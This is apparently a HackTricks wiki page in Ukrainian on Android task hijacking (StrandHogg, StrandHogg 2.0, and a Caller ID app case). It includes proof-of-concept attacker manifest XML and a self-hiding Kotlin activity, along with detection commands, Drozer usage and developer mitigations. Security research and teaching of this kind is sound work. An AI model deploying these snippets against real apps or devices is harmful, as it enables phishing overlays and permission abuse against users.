Android Task Hijacking

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Task, Back Stack and Foreground Activities

В Android, task - це, по суті, набір активностей, з якими користувачі взаємодіють для виконання конкретної роботи, організованих у back stack. Цей стек упорядковує активності на основі того, коли вони були відкриті, з найновішою активністю, що відображається вгорі як foreground activity. У будь-який момент часу лише ця активність видима на екрані, що робить її частиною foreground task.

Ось швидкий огляд переходів між активностями:

  • Activity 1 починається як єдина активність на передньому плані.
  • Запуск Activity 2 переміщує Activity 1 у back stack, виводячи Activity 2 на передній план.
  • Запуск Activity 3 переміщує Activity 1 та Activity 2 далі назад у стеку, з Activity 3 тепер спереду.
  • Закриття Activity 3 повертає Activity 2 на передній план, демонструючи спрощений механізм навігації завдань Android.

https://developer.android.com/images/fundamentals/diagram_backstack.png


Task affinity attacks

taskAffinity вказує Android, до якого завдання Activity надає перевагу належати. Коли дві активності мають однакову афіліацію, Android дозволяє об'єднувати їх у одному back-stack, навіть якщо вони походять з різних APK.

Якщо зловмисник може розмістити шкідливу активність на root цього стеку, щоразу, коли жертва відкриває легітимний додаток, шкідливий інтерфейс буде першим, що побачить користувач – ідеально для фішингу або зловживання дозволами.

Атака має ширшу поверхню, ніж багато розробників вважають, оскільки кожна активність автоматично успадковує афіліацію, рівну імені пакета програми (якщо розробник не встановить android:taskAffinity=""). Тому нічого не роблячи вже залишає додаток відкритим для захоплення завдань на версіях Android до 11.

Класичний сценарій "singleTask / StrandHogg"

  1. Зловмисник оголошує активність з:
xml
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. Шкідливий додаток запускається один раз, щоб завдання (з підробленою афіліацією) існувало в останніх завданнях.
  2. Коли користувач пізніше відкриває реальний додаток, Android виявляє, що вже існує завдання, чия root афіліація відповідає пакету, і просто виводить це завдання на передній план.
  3. Інтерфейс зловмисника показується першим.

Варіант Default–Affinity (без singleTask) – Дослідження Caller ID

Вразливість, виявлена в додатку Caller ID (caller.id.phone.number.block), показує, що атака також працює проти стандартного режиму запуску standard:

  1. Зловмисний додаток створює фальшиву кореневу активність і відразу ж ховається:
kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true)   // зберегти завдання в останніх, але поза полем зору
}
}
  1. У маніфесті потрібно лише скопіювати пакет жертви в taskAffinity:
xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. Як тільки користувач встановлює і відкриває шкідливий додаток один раз, завдання, афіліація якого дорівнює пакету жертви, існує (але знаходиться на фоні).
  2. Коли запускається реальний додаток Caller ID, Android повторно використовує це завдання і виводить HackActivity на передній план → фішинг вікно/зловживання дозволами.

ПРИМІТКА: Починаючи з Android 11 (API 30), система не поміщає два пакети, які не є частиною одного UID, в одне завдання за замовчуванням, що пом'якшує цей конкретний варіант. Старі версії залишаються вразливими.


StrandHogg 2.0 (CVE-2020-0096) – Захоплення завдань на основі рефлексії

Безпековий бюлетень Google за травень 2020 року виправив більш просунутий варіант, названий StrandHogg 2.0. Експлуатація не покладається на taskAffinity взагалі; натомість вона використовує рефлексію, щоб динамічно вставити активність зловмисника на верхівку кожного запущеного завдання, повністю обходячи обмеження "спільного UID", введене Android 11.

Ключові моменти:

  • Шкідливий додаток з нульовими дозволами може, після відкриття, перебрати запущені завдання і викликати приховані API, щоб перенести свою власну активність у будь-яке завдання.
  • Оскільки активність вставляється після часу виконання, ні launchMode, ні статичний аналіз маніфесту не можуть виявити атаку заздалегідь.
  • Виправлено шляхом перенесення перевірки в Android 8.0/8.1/9 (травень 2020 SPL). Android 10 і новіші не підлягають впливу.

Виявлення на пристроях до виправлення може бути виконано за допомогою adb shell dumpsys activity activities і спостереження за підозрілими активностями, ім'я пакета яких відрізняється від афіліації завдання.

Пом'якшення для старих пристроїв таке ж, як і класичне захоплення завдань плюс перевірка під час виконання (наприклад, виклик ActivityManager#getRunningTasks і перевірка вашого власного імені пакета).


Detection & Exploitation checklist

  1. Статичний огляд – Витягніть AndroidManifest.xml з цільового APK і перевірте, що кожна <activity> (або глобальний елемент <application>) містить android:taskAffinity="" (порожній) або налаштоване значення. Інструменти, такі як:
bash
# Використовуючи apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity

# Використовуючи AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
  1. Динамічний огляд – На пристрої відкрийте цільовий додаток і перелікуйте завдання:
bash
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"

Завдання, чия коренева афіліація дорівнює пакету жертви, але верхня активність належить до іншого пакету, є червоним прапором. 3. Створіть шкідливий додаток, як описано вище, або використовуйте Drozer:

bash
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim

Mitigation

Розробники повинні:

  • Явно встановити android:taskAffinity="" на рівні <application> (рекомендується) або надати кожній активності унікальну, приватну афіліацію.
  • Для дуже чутливих екранів поєднати вищезазначене з android:launchMode="singleInstance" або сучасними setLaunchMode захистами.
  • Оновити targetSdkVersion додатка та впровадити Android 11 зміни поведінки, де завдання за замовчуванням не діляться між пакетами.
  • Націлити Android 12 (API 31) або вище, щоб обов'язковий атрибут android:exported змусив розробників перевіряти кожен зовнішньо доступний компонент.
  • Розглянути самозахист під час виконання: періодично запитувати ActivityTaskManager, щоб переконатися, що пакет вашої верхньої активності відповідає вашому власному.

Захоплення завдань часто поєднується з або замінюється tapjacking (обман інтерфейсу на основі накладок). Дослідження TapTrap 2025 року показало, що повністю прозорі анімовані активності можуть обійти обмеження на накладення дотиків, введені в Android 12–14, і все ще обманювати користувачів, змушуючи їх надавати небезпечні дозволи. Хоча TapTrap не є строго захопленням завдань, кінцева мета (фішингові кліки) ідентична – тому сучасні оцінки повинні перевіряти обидві поверхні атак.


References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks